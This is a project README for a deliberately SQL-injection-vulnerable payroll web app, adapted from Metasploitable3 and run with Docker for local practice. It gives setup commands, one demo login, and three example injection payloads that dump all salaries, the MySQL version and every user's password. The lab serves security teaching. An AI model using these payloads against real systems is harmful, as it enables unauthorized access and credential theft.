thomaslaurenson / startrek_payroll

A simple SQL injection vulnerable web application powered by Docker

startrek_payroll

A simple SQL injection vulnerable web application powered by Docker

Project Summary

This is a simple web application that is vulnerable to SQL injection attacks. The web application is based on the payroll_app from the Metasploitable3 project, and the PHP code is taken (almost) directly from that project. The primary contribution of this project is a Docker environment using docker-compose and consisting of Nginx, PHP and MySQL containers to run the web application easily.

Project Instructions

Install the project requirements on your choice of operating system, including:

• Docker
• Docker Compose plugin

Run using either of the following:

• make run
• docker compose up --build

Open web browser and visit:

• localhost:8080

Clean the Docker environment (after making changes):

• make clean

Example Payloads

1. Normal login to get users salary:

   • username: james_kirk
   • password: kobayashi_maru

2. Dump username and salary of all users:

   • username: ' OR 1=1#
   • password: anythingyouwant

3. Dump MySQL version:

   • username: ' UNION SELECT null,@@version#
   • password: anythingyouwant

4. Dump all users passwords:

   • username: ' UNION SELECT username,password FROM users#
   • password: anythingyouwant